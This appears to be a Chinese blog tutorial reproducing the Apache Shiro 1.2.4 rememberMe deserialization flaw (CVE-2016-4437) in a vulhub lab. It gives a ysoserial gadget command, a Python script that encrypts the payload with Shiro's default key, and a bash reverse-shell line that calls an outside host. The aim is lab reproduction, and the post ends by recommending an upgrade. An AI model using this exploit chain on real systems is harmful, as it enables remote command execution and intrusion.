Apache Shiro 1.2.4反序列化漏洞复现

Apache Shiro 1.2.4反序列化漏洞复现

1. 环境搭建
安装漏洞靶场vulhub

git clone git://github.com/vulhub/vulhub.git

下载安装ysoserial

项目源地址:https://github.com/frohoff/ysoserial
jar包下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar

2. 漏洞复现
1、 进入到我们下载好的vulhub shiro反序列化漏洞靶场:

cd vulhub/shiro/CVE-2016-4437/
docker-compose up -d

2、打开我们本地的浏览器访问虚拟机的IP地址加8080端口:
Apache Shiro 1.2.4反序列化漏洞复现_第1张图片
默认的登陆账号密码:admin\vulhub
3、使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "touch /opt/wula" > poc.ser
# 要反弹sheel的就将命令换成反弹shell命令,ysoserial命令也需要更换,这里就不做详解了。
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

4、使用Shiro内置的默认密钥对Payload进行加密。

import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme()
    print("rememberMe={0}".format(payload.decode()))

5、打开burp,输入账号密码点击登录抓包。
Apache Shiro 1.2.4反序列化漏洞复现_第2张图片
6、将生成的payload替换到cookie中,放包。(像这种返回包里携带的rememberMe的一般就是shiro搭建的站点,一般像这rememberMe=deleteMe的都具有可利用性。
Apache Shiro 1.2.4反序列化漏洞复现_第3张图片
7、验证,进入docker容器中查看创建的/opt/qqqq文件

docker ps
docker exec -it [ID] bash

Apache Shiro 1.2.4反序列化漏洞复现_第4张图片
8、总结
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。建议使用官方提供的最新版本。

你可能感兴趣的:(安全,渗透测试,shiro,安全漏洞,安全)